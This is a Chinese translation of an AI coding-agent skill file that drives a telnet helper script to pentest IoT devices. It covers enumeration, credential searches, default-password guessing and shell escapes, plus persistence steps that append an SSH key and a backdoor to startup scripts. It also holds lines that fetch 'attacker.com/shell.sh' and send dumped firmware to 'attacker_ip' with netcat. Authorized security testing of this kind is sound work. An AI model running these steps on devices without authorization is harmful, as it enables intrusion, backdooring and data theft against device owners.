以下是IoT Telnet Shell (telnetshell)技能的中文翻译:
这个技能使得与通过telnet可访问的IoT设备shell进行交互成为可能,用于安全测试和渗透测试操作。它支持未经身份验证的shell、弱身份验证测试、设备枚举和后期利用活动。
前提条件
- Python 3带有pexpect库(
pip install pexpect或sudo pacman -S python-pexpect) - 系统上安装了telnet客户端(在Arch上
sudo pacman -S inetutils) - 网络可以访问目标设备的telnet端口
推荐方法:Telnet Helper Script
重要:这个技能包括一个Python辅助脚本(telnet_helper.py),它为telnet通信提供了一个清晰、可靠的接口。这是与IoT设备交互的推荐方法。
默认会话日志记录
所有由Claude运行的命令默认会被记录到/tmp/telnet_session.log。
要实时观察Claude在做什么:
# 在另一个终端运行:
tail -f /tmp/telnet_session.log
这允许你在不干扰连接的情况下实时观看所有的telnet I/O。
为什么要使用Telnet Helper?
辅助脚本解决了直接使用telnet的许多问题:
- 清晰的输出:自动移除命令回显、提示符和ANSI代码
- 提示符检测:自动检测并等待设备提示符
- 超时处理:适当的超时管理,没有任意的休眠
- 易于脚本化:简单的命令行界面,用于单个命令或批量操作
- 会话日志记录:所有I/O记录到
/tmp/telnet_session.log以供观察 - 可靠:没有与TTY要求或后台进程相关的问题
- JSON输出:用于程序解析和工具链
使用Telnet Helper快速开始
单个命令:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
自定义端口:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /"
自定义提示符(建议用于已知设备):
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --prompt "^/ [#\$]" --command "ifconfig"
交互模式:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactive
从文件批量命令:
# 创建一个包含命令的文件(每行一个命令)
echo -e "uname -a
cat /proc/version
ifconfig
ps" > commands.txt
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --script commands.txt
JSON输出(用于解析):
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" --json
调试模式:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "ls" --debug
会话日志记录(用于观察):
# 终端1 - 运行时记录日志
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile /tmp/session.log \
--interactive
# 终端2 - 实时观看会话
tail -f /tmp/session.log
注意:查看OBSERVING_SESSIONS.md以获得有关监视telnet会话的全面指南。
Telnet Helper选项
必需(以下之一):
--command, -c CMD 执行单个命令
--interactive, -i 进入交互模式
--script, -s FILE 从文件执行命令
连接选项:
--host, -H HOST 目标主机IP或主机名(必需)
--port, -P PORT telnet端口(默认:23)
--timeout, -t SECONDS 命令超时(默认:3.0)
--prompt, -p PATTERN 自定义提示符正则表达式模式
输出选项:
--raw, -r 不清理输出(显示回显、提示符)
--json, -j 以JSON格式输出
--logfile, -l FILE 将所有I/O记录到文件(默认:/tmp/telnet_session.log)
--debug 显示调试信息
常见提示符模式
辅助脚本包括常见的提示符模式,但您可以指定自定义的:
# BusyBox shell(IoT上常见)
--prompt "/\s*[#\$]\s*$"
# 标准root/user提示符
--prompt "^[#\$]\s*$"
# 自定义设备
--prompt "^MyDevice>\s*$"
# Uniview摄像头
--prompt "^User@[^>]+>\s*$"
使用Telnet Helper进行设备枚举示例
这里有一个安全枚举设备的完整示例:
# 设置变量以方便使用
HELPER="python3 .claude/skills/telnetshell/telnet_helper.py"
HOST="192.168.1.100"
PORT="2222"
LOGFILE="/tmp/telnet_session.log"
# 系统信息
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "uname -a"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/version"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/cpuinfo"
# 检查BusyBox
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "busybox"
# 网络配置
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ifconfig"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "route -n"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "netstat -tulpn"
# 进程列表(可能需要更长的超时时间)
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --timeout 5 --command "ps aux"
# 文件系统探索
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ls -la /"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "mount"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "df -h"
# 安全评估
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /etc/passwd"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "find / -perm -4000 2>/dev/null"
对于CLAUDE代码很重要:使用这个技能时,总是包含--logfile /tmp/telnet_session.log在每个命令中,以便用户可以使用tail -f /tmp/telnet_session.log监控活动。
指令
1. 连接设置
默认连接:
- 端口:23(标准telnet,用
--port覆盖) - 超时:3秒(用
--timeout覆盖) - 日志记录:默认
/tmp/telnet_session.log
IoT设备上常见的telnet端口:
- 23:标准telnet端口
- 2222:备用telnet端口(摄像头上常见)
- 8023:备用telnet端口
- 自定义端口:检查设备文档或nmap扫描结果
2. BusyBox Shells(大多数IoT设备)
重要:绝大多数IoT设备使用BusyBox,这是一个为嵌入式系统设计的轻量级Unix工具套件。BusyBox提供了一个最小化的shell环境,命令功能有限。
识别BusyBox:
# 检查你正在使用的shell
busybox
busybox --help
# 或检查符号链接
ls -la /bin/sh
# 通常显示:/bin/sh -> /bin/busybox
# 列出可用的BusyBox小程序
busybox --list
BusyBox限制:
- 许多标准Linux命令可能是简化版本
- 一些常见的标志/选项可能不可用
- 像tab补全这样的特性可能有限或缺失
- 一些在完整Linux上有效的利用技术可能不适用
BusyBox常用的命令:
# 核心实用程序(通常可用)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (有限版本)
ifconfig, route, ping, netstat, telnet
vi (基本文本编辑器 - 没有语法高亮)
# 检查可用性
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin
针对渗透测试的BusyBox特定考虑:
ps输出格式可能与标准Linux不同- 一些提权技术需要BusyBox中没有的命令
- 文件权限仍然相同(SUID、粘滞位等)
- 网络工具通常存在(telnet, wget, nc/netcat, ftpget)
- Python/Perl/Ruby通常不可用(设备存储限制)
BusyBox用于枚举的有用命令:
# 检查BusyBox版本(可能存在已知漏洞)
busybox | head -1
# 网络实用程序通常可用
nc -l -p 4444 # Netcat监听器
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1
# httpd(web服务器)通常包括在内
busybox httpd -p 8080 -h /tmp # 快速文件共享
3. 设备枚举
一旦你有了shell访问权限,收集以下信息:
系统信息:
# 内核和系统信息
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo
# 分发/固件信息
cat /etc/issue
cat /etc/*release*
cat /etc/*version*
# 主机名和网络
hostname
cat /etc/hostname
ifconfig -a
cat /etc/network/interfaces
cat /etc/resolv.conf
# 挂载的文件系统
mount
cat /proc/mounts
df -h
# 运行中的进程
ps aux
ps -ef
top -b -n 1
用户和权限信息:
# 当前用户上下文
id
whoami
groups
# 用户账户
cat /etc/passwd
cat /etc/shadow # 如果可读 - 重大安全问题!
cat /etc/group
# Sudo/权限信息
sudo -l
cat /etc/sudoers
网络服务:
# 监听服务
netstat -tulpn
lsof -i
# 防火墙规则
iptables -L -n -v
cat /etc/iptables/*
有趣文件和目录:
# 配置文件
ls -la /etc/
find /etc/ -type f -readable
# Web服务器配置
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/
# 凭证和密钥
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
# SUID/SGID二进制文件(提权向量)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# 世界可写文件/目录
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null
# 开发/调试工具
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/
4. 提权(如果不是root)
检查常见漏洞:
# 内核漏洞
uname -r # 检查内核版本以查找已知漏洞
# 检查可利用的服务
ps aux | grep root
# 可写的服务文件
find /etc/init.d/ -writable 2>/dev/null
# 定时任务
crontab -l
ls -la /etc/cron*
cat /etc/crontab
5. 持久性和进一步访问
建立额外的访问方法:
# 添加SSH访问(如果SSH可用)
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
# 启动SSH服务(如果不运行)
/etc/init.d/ssh start
# 或
/etc/init.d/sshd start
# 或
/etc/init.d/dropbear start # 嵌入式设备上常见
# 添加到启动脚本
echo "/path/to/backdoor &" >> /etc/rc.local
6. 固件提取
离线分析提取固件:
# 查找MTD分区(嵌入式设备上常见)
cat /proc/mtd
cat /proc/partitions
# 转储闪存分区
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin
# 复制到外部存储或网络
# 如果网络可用:
nc attacker_ip 4444 < /tmp/rootfs.bin
# 如果HTTP服务器可用:
cd /tmp
busybox httpd -p 8000
# 然后从http://device_ip:8000/rootfs.bin下载
常见IoT设备场景
场景1:无身份验证Shell
# 连接 - 直接掉到root shell
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --interactive
# 枚举和利用
场景2:自定义端口无身份验证Shell
# 许多IoT摄像头使用端口2222
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactive
场景3:受密码保护的Shell
# 如果遇到密码提示,助手将检测到它
# 尝试默认凭据:
# - root/root
# - admin/admin
# - root/(空)
# 在线搜索设备特定的默认值
场景4:有限Shell Escape
# 如果你得到一个有限的shell:
# 尝试常见的逃逸技术:
echo $SHELL
/bin/sh
/bin/bash
vi # 然后 :!/bin/sh
less /etc/passwd # 然后 !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'
安全测试清单
- [ ] 确定设备和固件版本
- [ ] 检查未经身份验证的访问
- [ ] 测试默认/弱凭据
- [ ] 枚举网络服务和开放端口
- [ ] 检查文件中的硬编码凭据
- [ ] 测试命令注入漏洞
- [ ] 检查文件权限(SUID、世界可写)
- [ ] 检查已知CVE的过时软件
- [ ] 测试提权向量
- [ ] 提取固件进行离线分析
- [ ] 用屏幕截图/日志记录所有发现
最佳实践
- 总是记录你的会话:默认日志文件是
/tmp/telnet_session.log - 记录一切:记下命令、响应和发现
- 使用批处理脚本:为常见任务创建枚举脚本
- 研究设备:查找已知漏洞、默认凭据和常见问题
- 使用适当的授权:只对你拥有或有明确测试权限的设备进行渗透测试
- 小心使用破坏性命令:避免可能使设备变砖或损坏数据的命令
- 监控你的会话:在另一个终端使用
tail -f观看活动
故障排除
问题:连接被拒绝
- 解决方案:检查telnet服务是否运行,验证端口号,检查防火墙规则
问题:连接超时
- 解决方案:验证网络连接,检查设备是否通电,验证IP地址
问题:“权限被拒绝”
- 解决方案:telnet服务可能需要身份验证,尝试默认凭据
问题:命令不回显
- 解决方案:使用
--raw标志查看未过滤的输出
问题:输出混乱或错误的提示符检测
- 解决方案:使用
--prompt标志和适用于您特定设备的自定义正则表达式模式
预构建枚举脚本
该技能包括常见任务的预构建枚举脚本:
enum_system.txt:系统信息收集enum_network.txt:网络配置枚举enum_files.txt:文件系统探索enum_security.txt:以安全为重点的枚举
用法:
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script .claude/skills/telnetshell/enum_system.txt
示例用法
# 连接到标准telnet端口的基本连接
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
# 连接到自定义端口(IoT摄像头常见)
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /"
# 交互会话与日志记录
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile /tmp/camera_session.log \
--interactive
# 批量枚举
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script enum_system.txt \
--json > results.json
# 自定义超时的长时间运行命令
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--timeout 10 \
--command "find / -name '*.conf'"
参考资料
- BusyBox 官网
- BusyBox 命令列表
- IoT渗透测试资源和漏洞数据库
- 设备特定文档和数据表